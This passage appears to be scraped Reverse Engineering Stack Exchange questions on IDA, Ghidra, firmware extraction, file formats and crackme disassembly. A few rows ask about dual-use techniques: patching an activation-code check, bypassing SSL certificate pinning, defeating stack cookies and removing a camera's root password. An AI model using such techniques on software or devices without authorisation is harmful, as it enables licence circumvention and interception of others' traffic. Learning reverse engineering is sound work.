+Period +The period of the timer, in milliseconds. If this parameter is zero, the timer is signaled once. +
+So I needed to set this to 0 to avoid the callback to be executed periodically. +The problem was that modifying the period value has no effect on periodicity. Once loaded in OllyDBG, Olly reconstructed the arguments and the call giving me this function signature : +
BOOL CreateTimerQueueTimer(
+ PHANDLE             phNewTimer,
+ HANDLE              TimerQueue,
+ WAITORTIMERCALLBACK Callback,
+ ULONG               Parameter,
+ PVOID               DueTime,
+ DWORD               Period,
+ DWORD               Flags
+);
+
+Notice that the parameter argument changed position, and thus all my patches was useless. I guess this error might be due to an old version of the API where the Parameter argument was in 4th position, but I can be wrong. Also, I can't find old WinAPIs to confirm my sayings. +Am I guessing right or am I missing something? +" +"['c++', 'file-format']"," Title: can someone help me with this map format?Body: I've been messing around in visual studio for half an hour trying to figure out how to properly display maps from a file, but all I can output is hot garbage, all I know is that the maps are 64x64, can someone help me with this? + +map file +" +"['ida', 'debuggers']"," Title: IDA's debuggers disappearedBody: Using IDA 7 + +I've been debugging a program with remote GDB just fine. Today when I opened the database, most of the debuggers are missing from the list, including GDB. It's only when opening this database, though. Any ideas? + + +" +['ida']," Title: IDA pro 7... how do you tell which module each string is in?Body: In IDA pro 7, when you generate the list of stirngs in the strings window, it gives you an ""address"" which starts with something like ""debug12x""... is there any way to tell which module that is in? Or what binary file's were involved in creating that? The debug12xxxxx address isn't something I understand, but I'm trying to find which module or binary file had the code that created that string... but when I double click the string it takes me to the ""IDA-View RIP"" which says the exact same debug12xxxxx and doesn't seem to say anywhere more about where the string came from or which module made it...? This is happening when attaching a debugger to a running process in windows 10. +" +"['unpacking', 'binwalk']"," Title: Extracting specific files from a unknown archive file formatBody: I'm trying to extract some binary blobs from a unknown archive format. (*.pakz). +I know this archive contains some .xtreme binary files that are the files I'm looking for. My goal is to extract those files from the archive. + +By doing some research I've came across binwalk. So I've tried to extract some signature info from it. It returned me several blobs of LZMA compressed data. + +f.ex, this is the first entries in the output of binwalk + +
    DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+12            0xC             LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 1130064 bytes
+1079006       0x1076DE        LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 669520 bytes
+1718248       0x1A37E8        LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 807872 bytes
+
+ +I assume these are parts of a single compressed file I should combine? So I tried extracting each individual files/blob with carve option. This outputs me several .7z files however many are missing. I don't know why, by using verbose and log command line options, it doens't output any errors but outputs LZMA blob addresses that are not extracted. + +If I extract files I get several .xml files that give me useful information, f.ex, the path of the files I'm looking for but I still don't know from the path the start/end bytes of that file. + +Does anyone has any clue? +Thanks in advance. +" +"['ida', 'decompilation', 'ghidra', 'jeb']"," Title: Type inference inconsistencyBody: I'm testing several decompilers against the following C code + + + +

+static int bar(int i) {
+    return ++i;
+}
+
+static int apply(int (*fun)(int), int i) {
+    return i % fun(i);
+}
+
+static int foo(int (*app)(int (*fun)(int), int), int i)  {
+    return i / app(bar, i);
+}
+
+int main() {
+    return foo(apply, 7);
+}
+
+ +which is compiled by just clang test.c. + + + +
; main
+0x0         push rbp
+0x1         mov rbp, rsp
+0x4         sub rsp, 0x10
+0x8         mov dword ptr [rbp-0x4], 0x0
+0xf         mov rdi, @apply
+0x19        mov esi, 0x7
+0x1e        call foo
+0x23        add rsp, 0x10
+0x27        pop rbp
+0x28        ret
+
+; foo
+0x30        push rbp
+0x31        mov rbp, rsp
+0x34        sub rsp, 0x20
+0x38        mov [rbp-0x8], rdi
+0x3c        mov [rbp-0xc], esi
+0x3f        mov eax, [rbp-0xc]
+0x42        mov rcx, [rbp-0x8]
+0x46        mov esi, [rbp-0xc]
+0x49        mov rdi, @bar
+0x53        mov [rbp-0x10], eax
+0x56        call rcx
+0x58        mov edx, [rbp-0x10]
+0x5b        mov [rbp-0x14], eax
+0x5e        mov eax, edx
+0x60        cdq
+0x61        mov esi, [rbp-0x14]
+0x64        idiv esi
+0x66        add rsp, 0x20
+0x6a        pop rbp
+0x6b        ret
+
+
+ +I was aware of some limits in argument/parameter detection (from the response to another question). But each decompiler seems, in one way or another, have inconsistency in the type system of its decompiled language (I think they all try to decompile to C or pseudo-C). + +IDA v.7.4.191122 (evaluation version) gives: + + + +
int __cdecl main(int argc, const char **argv, const char **envp)
+{
+  return foo(apply, 7LL, envp);
+}
+
+__int64 __fastcall foo(int (__fastcall *a1)(__int64 (__fastcall *)(), _QWORD), unsigned int a2)
+{
+  return (unsigned int)((int)a2 / a1(bar, a2));
+}
+
+ +I don't show results of bar and apply because there was already an inconsistency here: IDA detects that foo is called with 3 arguments in main, but then it concludes that foo has actually 2 parameters. + +Next, Ghidra v9.1.build.2019-oct-23: + + + +
void main(void)
+{
+  foo(apply,7);
+  return;
+}
+
+ulong foo(code *param_1,uint param_2,undefined8 param_3)
+{
+  int iVar1;
+
+  iVar1 = (*param_1)(bar,(ulong)param_2,param_3,param_1);
+  return (long)(int)param_2 / (long)iVar1 & 0xffffffff;
+}
+
+ +which has an opposite opinion: foo is called in main with 2 arguments, but in its definition foo has 3 parameters. + +JEB v.3.8.0.201912242244 (evaluation version): + + + +
unsigned long main() {
+  return foo(&apply, 7L);
+}
+
+unsigned long foo(unsigned long param0) {
+  unsigned int v0 = v1;
+  param0();
+  return (unsigned long)(v0 / ((unsigned int)v2));
+}
+
+ +which gives a perfect result for main, but it then claims that foo is a function of just 1 parameters (and while it shows param0(), it keeps param0 as unsigned long). + +Actually, the decompilation results are not correct (which is somehow understandable), but they are even inconsistent. Do I miss some configuration? +" +['disassembly']," Title: Any ""simple"" way to disassemble a block of hex for a 80C188?Body: I have used IDA to disassemble a big EPROM (27020) but there remain a large number of code sections which haven't been disassembled. Here is a typical one where I have identified the beginning and end (it was probably written in C): + +
            db  55h      push bp
+            db  8Bh      mov bp, sp
+            db 0ECh
+            db 0A0h
+            db  96h
+            db  11h
+            db 0FEh
+            db 0C0h
+            db 0A2h
+            db  96h
+            db  11h
+            db  3Ch
+            db    3
+            db  75h
+            db    5
+            db 0C6h
+            db    6
+            db  96h
+            db  11h
+            db    0
+            db  8Ah
+            db  1Eh
+            db  96h
+            db  11h
+            db 0B7h
+            db    0
+            db  8Ah
+            db  87h
+            db  2Fh
+            db  13h
+            db  5Dh     pop bp
+            db 0C3h     retn
+
+ +My question is, is there any easy disassembler I could feed this (or a pure hex version) into which will disassemble for me? Yes I can do it manually but there are hundreds like this so it would be really impractical and besides, this is only the first step in figuring out this code. I tried to search but after a few days figured it was time to ask those more knowledgeable than myself. +" +"['ida', 'c', 'hexrays', 'decompile']"," Title: Methods for preventing IDA decompilerBody: I want to write a C function, such that hex-rays decompiler will fail on it. I want to do it for study purposes, and not for an actual anti-reversing method. Do you have any recommendations/approaches how can I write such a function, that will compile with gcc or similar compiler, but won't be decompilable by hex-rays? + +EDIT: +My goal is to make the code disassemblable, but not decompilable. I'm not looking for obfuscators that will hide the code completely, but a way to make IDA not to be able to decompile. for example, by somehow messing with the stack pointer. +" +"['ida', 'disassembly', 'assembly', 'crackme']"," Title: Finding the correct input of an executable to print out the flag. IDA 7Body: I'm trying to understand the behaviour of the code below so I can determine what input will trigger the ""YOU DID IT !~!"" string (at the end of the program instructions): + +
+.text:00C21034 Buf= byte ptr -6Ch
+.text:00C21034 var_68= byte ptr -68h
+.text:00C21034 var_4= dword ptr -4
+.text:00C21034
+.text:00C21034 push    ebp
+.text:00C21035 mov     ebp, esp
+.text:00C21037 sub     esp, 6Ch
+.text:00C2103A mov     eax, ___security_cookie
+.text:00C2103F xor     eax, ebp
+.text:00C21041 mov     [ebp+var_4], eax
+.text:00C21044 push    ebx
+.text:00C21045 push    offset aPleaseEnterThe          ; ""Please enter the password: ""
+.text:00C2104A call    sub_C21006
+.text:00C2104F xor     ebx, ebx
+.text:00C21051 push    ebx
+.text:00C21052 call    ds:__acrt_iob_func
+.text:00C21058 push    eax                             ; File
+.text:00C21059 lea     eax, [ebp+Buf]
+.text:00C2105C push    64h                             ; MaxCount
+.text:00C2105E push    eax                             ; Buf
+.text:00C2105F call    ds:fgets
+.text:00C21065 lea     ecx, [ebp+Buf]
+.text:00C21068 add     esp, 14h
+.text:00C2106B lea     edx, [ecx+1]
+.text:00C2106E
+.text:00C2106E loc_C2106E:                             ; CODE XREF: sub_C21034+3F↓j
+.text:00C2106E mov     al, [ecx]
+.text:00C21070 inc     ecx
+.text:00C21071 test    al, al
+.text:00C21073 jnz     short loc_C2106E
+.text:00C21075 sub     ecx, edx
+.text:00C21077 cmp     ecx, 5
+.text:00C2107A jnz     short loc_C210C3
+.text:00C2107C mov     [ebp+var_68], bl
+.text:00C2107F
+.text:00C2107F loc_C2107F:                             ; CODE XREF: sub_C21034+5E↓j
+.text:00C2107F mov     eax, ebx
+.text:00C21081 and     eax, 3
+.text:00C21084 mov     al, [ebp+eax+Buf]
+.text:00C21088 xor     byte_C23018[ebx], al
+.text:00C2108E inc     ebx
+.text:00C2108F cmp     ebx, 0Ah
+.text:00C21092 jb      short loc_C2107F
+.text:00C21094 mov     ecx, offset byte_C23018
+.text:00C21099 mov     edx, offset loc_C23024
+.text:00C2109E mov     eax, [ecx]
+.text:00C210A0 cmp     eax, [edx]
+.text:00C210A2 jnz     short loc_C210C3
+.text:00C210A4 mov     eax, [ecx+4]
+.text:00C210A7 cmp     eax, [edx+4]
+.text:00C210AA jnz     short loc_C210C3
+.text:00C210AC movzx   eax, byte ptr [ecx+8]
+.text:00C210B0 cmp     al, [edx+8]
+.text:00C210B3 jnz     short loc_C210C3
+.text:00C210B5 push    offset aYouDidIt                ; ""YOU DID IT !~!\r\n""
+.text:00C210BA call    sub_C21006
+.text:00C210BF xor     eax, eax
+.text:00C210C1 jmp     short loc_C210D0
+.text:00C210C3 ; ---------------------------------------------------------------------------
+.text:00C210C3
+.text:00C210C3 loc_C210C3:                             ; CODE XREF: sub_C21034+46↑j
+.text:00C210C3                                         ; sub_C21034+6E↑j ...
+.text:00C210C3 push    offset aOhhhhNooTryAga          ; ""Ohhhh noo... try again.\r\n""
+.text:00C210C8 call    sub_C21006
+.text:00C210CD xor     eax, eax
+.text:00C210CF inc     eax
+
+ +
+NOTE:
+The goal here is to find the correct input. I know that I can just put the IP where I want and make the program print it. + +
+What I understood so far: + +The program asks for input in this instruction: + +
+.text:00C2105F call    ds:fgets
+
+ +After that, it runs a loop that counts how many chars are in the input, including the ""new line"" char at the end (when the user gives input and presses ""enter""): + +
+.text:00C2106E loc_C2106E:                             ; CODE XREF: sub_C21034+3F↓j
+.text:00C2106E mov     al, [ecx]
+.text:00C21070 inc     ecx
+.text:00C21071 test    al, al
+.text:00C21073 jnz     short loc_C2106E
+
+ +Then, it subtracts the address of the last input char and the address of the first input char to determine the input's length: + +
+.text:00C21075 sub     ecx, edx
+.text:00C21077 cmp     ecx, 5
+.text:00C2107A jnz     short loc_C210C3
+
+ +If the input length is different than 5 (including the ""new line"" char), then it jumps to this label that prints out ""Ohhhh noo... try again."" and terminates the program: + +
+.text:00C210C3 push    offset aOhhhhNooTryAga          ; ""Ohhhh noo... try again.\r\n""
+.text:00C210C8 call    sub_C21006
+
+ +if the input length is exactly 5 (including the ""new line"" char), then it proceeds to this instruction that removes the ""new line"" char from the end of the input string, such that instead of 'A' hexa, there will be '0' hexa (bl initially have a value of 0): + +
+.text:00C2107C mov     [ebp+var_68], bl
+
+ +So, if the input's length is 5 (including the new line char), it should proceeds to the code below. +It's a loop that runs 10 times. ebx is initially 0, and it keeps running until ebx = 0A hexa = 10 decimal: + +
+.text:00C2107F loc_C2107F:                             ; CODE XREF: sub_C21034+5E↓j
+.text:00C2107F mov     eax, ebx
+.text:00C21081 and     eax, 3
+.text:00C21084 mov     al, [ebp+eax+Buf]
+.text:00C21088 xor     byte_C23018[ebx], al
+.text:00C2108E inc     ebx
+.text:00C2108F cmp     ebx, 0Ah
+.text:00C21092 jb      short loc_C2107F
+
+ +Now, the thing about this loop is that the following instruction guarentees that eax will always have values in the range 0-3: + +
+.text:00C21081 and     eax, 3
+
+ +So, supposed I entered the input ""G00D"", that loop will XOR each char of the input string with every char of the string ""G00D job!"" (byte_C23018 that appears in the XOR instruction stores this string, see ""P.S"" at the end of the post), here is a demo of this loop ('20h' is the ascii value of the ""space"" char): + +
+  eax = 0  |  eax = 1  |   eax = 2  |  eax = 3  |    eax = 0    |  eax = 1  |etc
+G XOR G = 0|0 XOR 0 = 0| 0 XOR 0 = 0|D XOR D = 0|G XOR '20h' = g|0 XOR j = z|etc
+
+ +After that loop I'm starting to struggle.
+The 2 labels in the code below are 6 addresses away from each other: + +
+.text:00C21094 mov     ecx, offset byte_C23018
+.text:00C21099 mov     edx, offset loc_C23024
+
+ +But they have to point to exactly the same address so this ""cmp"" instruction that comes after it will succeed: + +
+.text:00C210A0 cmp     eax, [edx]
+
+ +Otherwise - the condition for the ""jnz"" instruction below is met, and it jumps to that label that prints the ""oh no try again"" string: + +
+.text:00C210A2 jnz     short loc_C210C3
+
+ +
+.text:00C210C3 push    offset aOhhhhNooTryAga          ; ""Ohhhh noo... try again.\r\n""
+.text:00C210C8 call    sub_C21006
+
+ +Any suggestions or ideas? did I understand something wrong? + +Thanks in advance! + +
+P.S:
+This is where the ""G00D job!"" is stored. Notice that the ""G"" is '47h' + +
+.data:00C23018 byte_C23018 db 47h                      ; DATA XREF: sub_C21034+54↑w
+.data:00C23018                                         ; sub_C21034+60↑o
+.data:00C23019 a00dJob db '00D job!',0
+.data:00C23022 align 4
+.data:00C23024
+.data:00C23024 loc_C23024:                             ; DATA XREF: sub_C21034+65↑o
+.data:00C23024 add     eax, 62657D71h
+.data:00C23029 sub     esp, [edx]
+.data:00C2302B inc     ebx
+.data:00C2302C arpl    [eax], ax
+
+ +And if I input ""G00D"", it stores it here: + +
+debug007:00BBF8A0 db  47h ; G
+debug007:00BBF8A1 db  30h ; 0
+debug007:00BBF8A2 db  30h ; 0
+debug007:00BBF8A3 db  44h ; D
+
+" +['file-format']," Title: Understanding proprietary game texture/image format (.art)Body: I've been researching on how to modify the textures of Crazy Taxi 3 for a while now and I have pretty much hit a brick wall.
+The game stores its texture assets in .art files, which, from what I understand, contain several textures in each of them, due to there being many banks of textures. There is also a Sprites folder containing these files that indicate the same.
+A quick Google search led me to believe that this may be the AOL Image Format used in its software, however AOL 9.0 kept throwing errors when trying to open the files. No dice.
+After searching more I found that PFS: First Publisher used this extension as well for its clip art. The files do not exactly match the structure documented in this wiki, but every .art file has something that looks like a table of information in that structure at the start, and then possibly image data. I have also observed that the string GXTX is repeated many times, may suggest that it might be a pointer of the beginning of a new image.
+Other than that, I have no idea how this file format may work. It seems like it is uncompressed image data, however after opening it in many programs I have given up and need help. + +
+ +UPDATE 1:
+I have found a great tool called Texturefinder that helped me figure out that these textures are compressed with DXT, however I am unsure which version, as half of a certain texture bank may look great in DXT1, while another half looks jumbled until I switch to DXT3 or 5. The container format possibly has information on which algorithm to use in a table before the images, as at the start of each texture file there is plenty of non-image data, or at least data that this tool can not decide. Here are a few examples of this working in one algorithm vs the other: + + + +So, here is an updated list of what I have gathered: + + + +Here are some more samples for comparison. +" +"['ida', 'disassembly', 'debugging', 'strings', 'x86-64']"," Title: How to determine what code created a string, in a live debugger session?Body: I'm using IDA 7 to debug a running application that must be a child of another application, which means I can't start it from IDA (using Debugger->Run). Instead, I have to run the application normally, and then attach IDA's debugger to the application after the application is already running. But, by the time I get the debugger attached, there are some important strings that the application has already created in the memory. These strings are not something I can find by any kind of simple hex search in the static exe binary, they only seem to appear in the memory after the application is running, so I assume they are being decompressed from somewhere. So I'm trying to determine what code is responsible for creating these strings, so that I can track down where these strings come from. Each time I run the application, the strings are found at different memory addresses. Since I can't debug the program prior to the creation of these strings, I can't step forward to see these strings as they are being created, I can only see them after it's too late. Is there a way to work backwards from a string that's already been created at a variable spot in the memory, and from there, work backwards to determine what code created it? +" +"['disassembly', 'linux', 'arm', 'embedded']"," Title: reverse engineering hi3516ev200Body: I am new to reverse engineering and will describe my situation thus far. In short, I am looking for some tips on what to do next to gain access to a piece of hardware I am playing with. I bought a Chinese made ip camera online. What I have done so far to it is I have taken it apart, found the serial port, and have been able to get into u-boot by connecting to it from my PC. + +Other guides I have found online have had the author be luckier than I am, namely that the devices they hacked do not have a root password set. I tried all sorts of standard passwords, including no password, but I cannot log in as root. I am stuck working with a limited U-Boot that does not have all the commands compiled into it. Luckily I did manage to transfer a small file to the devices RAM using tftp, but I did not yet determine if the bootm command will actually try to run what I upload to the device. + +My hope is not yet lost though, I have some ideas, and this is where I need guidance. The first step I will take is to see if I can construct a small ARMv7 assembly program that I can upload to the device and run on its processor. If this works, and I can verify it worked, then I can construct a program in assembly that can do various things, such as navigate the ROM and wipe the root password, or something like that. + +Another option I have is to search through the ROM using the md command, which IS available! I tried using an online disassembler website to deconstruct the byte code, but I am not producing anything that looks like it could be code, so I may not be dealing with the parameters properly + +Just as a heads up, I tried various tricks I found online to disable the root password via u-boot, but nothing works. They seem to have locked down this camera pretty well. + +MY end goal is to ultimately extract the image from the camera onto my PC, and run it through some sort of emulator(if such a thing exists for ARM which I am sure it must), and then trace the firmware on the camera to see how it works, possibly even replacing it with my own. + +None of this is for profit, its just a learning experience. Thanks in advance for any guidance you can give me +" +"['ida', 'struct']"," Title: IDA: apply function parameter as struct pointerBody: In the following function foo + +
.text:0000000000401110 foo             proc near
+.text:0000000000401110
+.text:0000000000401110 var_8           = qword ptr -8
+.text:0000000000401110
+.text:0000000000401110                 push    rbp
+.text:0000000000401111                 mov     rbp, rsp
+.text:0000000000401114                 mov     [rbp+var_8], rdi
+.text:0000000000401118                 mov     rax, [rbp+var_8]
+.text:000000000040111C                 mov     ecx, [rax]
+.text:000000000040111E                 mov     rax, [rbp+var_8]
+.text:0000000000401122                 add     ecx, [rax+4]
+.text:0000000000401125                 movsxd  rax, ecx
+.text:0000000000401128                 mov     rdx, [rbp+var_8]
+.text:000000000040112C                 add     rax, [rdx+8]
+.text:0000000000401130                 pop     rbp
+.text:0000000000401131                 retn
+.text:0000000000401131 foo             endp
+
+ +which is actually + + + +
struct S {
+    int a;
+    int b;
+    long long c;
+};
+
+int foo(struct S *s) {
+    return s->a + s->b + s->c;
+}
+
+ +I've defined the struct S in IDA (via Shift-F9/Ins...), how can I specify that rdi is the pointer to the base of the struct, so that the disassembly becomes something like this + +
...
+.text:0000000000401118                 mov     rax, [rbp+var_8]
+.text:000000000040111C                 mov     ecx, [p0.a]
+.text:000000000040111E                 mov     rax, [rbp+var_8]
+.text:0000000000401122                 add     ecx, [p0.b]
+.text:0000000000401125                 movsxd  rax, ecx
+.text:0000000000401128                 mov     rdx, [rbp+var_8]
+.text:000000000040112C                 add     rax, [p0.c]
+...
+
+ +There is a similar question but it applies for the case where, for example rbx is the base pointer and fields are accessed via [rbx+offset]. In my case, rdi is the base pointer but fields are not accessed via [rdi+offset]. +" +"['binary-analysis', 'firmware', 'binary']"," Title: Is it possible to extract the binary firmware of a feature phone?Body: I am new at reverse engineering but very eager to learn. I have a feature phone it5081 and downloaded it's binary firmware. I have googled and came to know about tools like binwalk,firmware mod kit as well as their usage. But all the tutorials and discussions are on the binary firmwares of routers,smart tvs,android phones etc; none on feature phone firmwares. I want to know if it is possible to extract the binary firmware of the feature phone somehow. +" +['ghidra']," Title: Weird Ghidra decompiler output for simple crack meBody: Here is the Ghidra decompiler output for a crackme problem. Specifically, this one:
+Code: + +
undefined8 entry(undefined8 param_1,char *param_2)
+{
+  int iVar1;
+  size_t sVar2;
+  char *pcVar3;
+  char *pcVar4;
+  char local_118 [9];
+  char local_10f;
+  long local_10;
+
+  local_10 = *(long *)___stdinp;
+  _strcspn(""Enter the password...\n"",param_2);
+  _printf(local_118,0x100,*(undefined8 *)_fgets);
+  pcVar3 = ""\n"";
+  sVar2 = _strlen(local_118);
+  pcVar4 = local_118;
+  local_118[sVar2] = '\0';
+  iVar1 = dyld_stub_binder();
+  if (iVar1 == 10) {
+    if (local_118[0] == local_10f) {
+      _strcspn(""Correct!\nthe password is: %s\n"",local_118);
+    }
+    else {
+      _wrong_password(pcVar4,pcVar3);
+    }
+  }
+  else {
+    _wrong_password(pcVar4,pcVar3);
+  }
+  if (*(long *)___stdinp == local_10) {
+    return 0;
+  }
+
+ +I'm having some trouble understanding the output. + +
    +
  1. the printf and strcspn functions seem to be switched?
  2. +
  3. the local_10f variable is never initialized, and yet is still used to compare to the passcode.
  4. +
  5. I know from reading the solution, that as long as the first and last characters are the same, and the length is 10, then the passcode will work. How does ""dyld_stub_binder"" check for length? Where do the first and last characters get compared?
  6. +
+ +Thanks for any help. +" +"['c', 'buffer-overflow', 'gcc', 'stack-protector']"," Title: Detecting and solutions of stack smash protectionBody: This video https://youtube.com/watch?v=4HxUmbOcN6Y presents how modern compilers protect stack overflows with stack cookies and function __stack_chk_fail. + +
    +
  1. How can one identify if a binary has stack smashing protection? If I see __stack_chk_fail in IDA can I guess that this binary uses stack cookies(I will see this function only if this binary compiled dynamically).
  2. +
+ +But if this function is compiled statically, how can I recognize it? Each function will end with if ... then abort else return or only functions that get buffer from user? + +
    +
  1. If binary use stack smash protection and get buffer unsafe (like gets ) how can I get over stack cookies? Or there is no way to return to another function?
  2. +
+" +"['windows', 'x64dbg', 'tracing']"," Title: How to compare two different executions of the same file?Body: When i start the program by just double clicking the .exe, it has a certain behavior. This behavior differs when i start the program from running the launcher provided. I’d like to figure out how to get the same behavior from the program without using the launcher. I tried to trace in x64dbg but I just got nonsense where it was the same instruction over and over again. + +Thanks. +" +"['python', 'ghidra']"," Title: Ghidra Headless Analyzer - Create FunctionsBody: I'm interested in open a binary file (.bin, without arch info), and analyze it with analyzeHeadless.bat (Ghidra version without GUI). + +I know what is the architecture of the file, so I pass it as a flag to the analyzer. + +My command line is: +analyzeHeadless.bat <project_location> <project_name> -import <my_file> -processor <my_known_processor> -postscript <my_script.py> -scriptPath <path> + +my_script.py is: + +
for block in getMemoryBlocks():
+    current = block.getStart().getOffset()
+    end = block.getEnd().getOffset()
+    addr = currentProgram.getAddressFactory().getAddress(hex(current).replace('L', ''))
+    disassemble(addr)
+    current +=1
+
+func = getFirstFunction()
+print(""First func is:    "" + str(func))
+
+ +I try to disassemble every address (looks like Ghigra doesn't do it itself), and after that I want to print the first function. + +The problem is: +func appears to be None. + +But if after the headless execution I open the project in the GUI Ghidra, and execute: + +
func = getFirstFunction()
+print(""First func is:    "" + str(func))
+
+ +It works and gets me the function. + +Any ideas what am I doing wrong? I guess there is some analysis that runs in the background and created the functions. How can I run it in my python script? +" +['ollydbg']," Title: HIEW Sharing Violation On EditBody: I'm still very new to the whole reverse engineering field. I wanted to start learning by bypassing an activation code prompt. I found the line in OllyDbg, and moved the EXE to HIEW (Hacker Eye View) to crack it. However, whenever I press F3 in HIEW to edit, it says Sharing Violation. (R)etry (A)bort + +I've tried modifying the Security in the properties of the EXE I'm cracking, so that all users have full permissions. It didn't work. + +I've also tried running HIEW as admin, and still to no avail. Help! +" +"['ida', 'gdb', 'embedded', 'process', 'thread']"," Title: Debug only one thread with ida-gdb serverBody: If I want to debug process in embedded that running linux , I can run gdb-server in embedded and attach to process with Ida. + +The problem is if this process has 1 thread that can't stop over than x seconds (for example this thread feed the watchdog). + +How can I attach to debug all threads in the process instead the thread that feed the watchdog(I know the thread id) . Or maybe debug only 1 thread in the process that interesting me. + +When I attach to process and debug all thread are stopped. +" +['ghidra']," Title: Renaming a function globallyBody: I have decompiled a DLL, and in the Symbol tree, I have clicked a function. +This function looks like this in the Decompile window: + +
undefined4 process_something(undefined4 param_1,undefined4 param_2)
+{
+      thunk_FUN_1017e9e0(param_1,param_2);
+      return 0;
+}
+
+ +I have right-clicked on FUN_1017e9e0, then I selected ""Rename Function"". +I have renamed it ""process_something_internal"", and ""Namespace"" was set to Global. + +Now the function looks like this: + +
undefined4 process_something(undefined4 param_1,undefined4 param_2)
+{
+      process_something_internal1(param_1,param_2);
+      return 0;
+}
+
+ +However, when I double click ""process_something_internal1"", it takes me to the function: + +
void FUN_1017e9e0(undefined4 param_1,undefined4 param_2)
+{
+    //do something
+    return;
+ }
+
+ +Why has the function not be renamed as well? + +Thank you! +" +"['firmware', 'hardware', 'usb', 'firmware-analysis']"," Title: Interact with a network-less Chinese MP3 player running a modified version of LinuxBody: My friend gave me this cheap little chinese MP3 player. I'm curious about exploring it learning more about the hardware, and potentially seeing if I could expand it's functionality in some way or run my own code on it to make it into something simple like a digital picture frame. Anything really I'm just curious about what it could potentially do but I don't know much about how feasible that would potentially be. + +It doesn't have wifi or anything just a USB port, Bluetooth (audio), and an SD card slot. When I plug it in to my computer it shows up as a USB Mass Storage Gadget, which I understand is just an interface for transferring files to it. I asked the manufacturer about the processor inside and all he told me was ""ATJ"". My main machine is a mac with an Ubuntu dual boot. + +I'd just like to get an idea of what might be feasible with this device and what might not be, as well as any tools or first steps for finding out more about the hardware or potentially being able to communicate with the device over USB or through the SD card. I don't care if I brick. I'm just curious about like, if an it was someone's job to figure out anything they could about this device, or make it run ""Hello World"" or something, what steps they might take to or what tools they might use to try to accomplish that. I also might be able to ask the company for more simple details but I'm not sure how much they would provide me. +" +"['malware', 'yara']"," Title: Code based Yara ruleBody: I have to write a Yara rules for malwares that is based on assember code. Suppose I have an unpacked malware sample. To avoid false positives, the selected code must be unique. Can anyone tell me which code is suitable and which is not? For example mov eax,1 would not be a good choice. But what code would be a good criterion? What are the criterions for Yara rules based assembler codes? +" +['ghidra']," Title: Ghidra export to C header, how to remove "".conflict""?Body: When using the export to C header functionality of Ghidra it keeps outputting double and triple symbols with "".conflict"" appended. When I change how the data type manager should deal with conflicts it still keeps outputting them. Does anyone know how to resolve this? + +It prevents Ghidra from parsing that same output back into another version of the application. + +edit: adding clarification as requested +I'm playing around with ioncube and what I'm trying to do is: + + + +What I mean with 'use type information' is that I want to have structures available so that I can apply them manually. However when right clicking on the type manager and exporting the 'php with debug enables' to a C header, GHIDRA is not able to import the header file. + +All the issues during import seem to be in regards to anonymous structures that besides the name also receive a '.conflict' append. I've temporarily resolved this by cleaning them up manually and just create the bare minimum to import. However it would be nice to do this as intended by GHIDRA. + +Hope this clarifies a bit more. +" +"['dll', 'unpacking']"," Title: Specifying DLL imports within the PE?Body: I have unpacked and dumped a dll that uses a custom IAT to resolve Win32 API calls (143 of them). +Is there anyway to modify the dumped dll PE to include these imports dynamcially and forward their addresses to the dumped function pointer table. + +See below a photo of the on disk dumped PE function table and the list of functions + + +" +['firmware']," Title: reverse engineering TP link TL-WR841N routerBody: I am trying to reverse engineer my routers firmware. So as the first step I took uart pins and I could login to the router through serial console. I need to export the binary files to my host system. My host PC is running ubuntu. I have tried SSH login but I am not able to login as the username and password is unknown. Also username and password is required for SCP too. So how can I copy files to host? Please suggest any method. How should I approach this situation? +" +"['ida', 'windows', 'dll']"," Title: what routine in ntdll.dll is responsible of dispatching DllMain function of loaded dll?Body: I'm trying to debug a dll file using Ida disassembler and Windbg. +I'm debugging rundll32.exe and passing the target dll (debugee) as an argument. +I'm able to have a breakpoint on each Dll load & unload, but I'm looking for a way to debug the target dll Main function. +I want to put a breakpoint on the dispatcher of the dll main function in the loader (ntdll.dll) in order to do this. +What is the routine responsible for dll main dispatching? +My environment is windows 10 version 1809. +" +"['ida', 'static-analysis', 'symbols', 'libraries']"," Title: ida identifies library function as regular functionBody: I'm trying to find libc symbols in some Windows 32-bit application. For some reason, Ida autoanalysis didn't recognized code that comes from libc as ""library function"", but as a ""regular function"". Let me make it more clear with some screenshots. + +My tutor got the following result (sorry for the low quality, I describe whats in it after the shot): + +This is the same image and you (maybe) can see that the malloc function at 0xE0E5DE is recognized as library function. The whole neighborhood is recognized as library function, since this section is for static-linked libc symbols. + +But when I'm loading the image its a ""regular function"", and of course it doesn't resolve as malloc(): + + +I tried to re-autoanalyze the code (Options --> General --> Reanalyze Program) but it didn't help. Hence I'm asking for help: + +
    +
  1. Is there another automatic way to make IDA ""notice"" this code comes from static linking of a library?
  2. +
  3. Maybe there is a manual way to do it? like: marking a code chunk as library function and compare it against libc?
  4. +
+ +P.S: the app was once packed with UPX, I decompress it. I don't believe it has anything to do with this problem, but maybe it has so I'm mentioning it +" +"['ida', 'c++']"," Title: Reverse engineering old mmoBody: I am newish to reverse engineering and have a question about a problem with IDA Pro. I am trying to reverse engineer an old mmo game. Anyone know why dword_ calls show as ""dd ?""? Float numbers and plain text shows up in the .rdata section except for dwords. Is this of any importance in reverse engineering said application? +" +['windows']," Title: How to bypass SSL certificate pinning on Windows 10Body: When reverse engineering a big application, it can be very useful to be able to see the network traffic it generates. + +Because of this, many applications use HTTPS to communicate with their servers. Bypassing this has become easy to do with tools like Charles (SSL Proxy). + +As a result, some applications have begun to use Certificate Pinning which does not allow a proxy to intercept traffic. + +What are some solutions around this problem, ideally, I'm looking for a methodology, tools and techniques to do this in Windows applications. +" +"['windbg', 'vb6']"," Title: Find the caption of VB5/6 Form Object in Memory DumpBody: I'm looking at a problem with app that has lost source code and the app crashes shortly after calling code that appears to be [Global Variable representing Form Object].ZOrder 0 (i.e. trying to make the form visible) +There are multiple forms so I am trying to work out specifically which form is being accessed. +To work this out I made some sample code like this: + +
Public gFormToActivate As Form
+
+Private Sub cmddoDo_Click()
+    gsCurrentLine = ""START: Set gFormToActivate = FormDoDo""
+    Set gFormToActivate = FormDoDo
+    gsCurrentLine = ""END: Set gFormToActivate = FormDoDo""
+    gsCurrentLine = ""START: Me.Hide""
+    Me.Hide
+    gsCurrentLine = ""END: Me.Hide""
+End Sub
+
+ +The ZOrder is later set using code like this: + +
Private Sub Command1_Click()
+    FormDoDo.Show
+    FormDada.Show
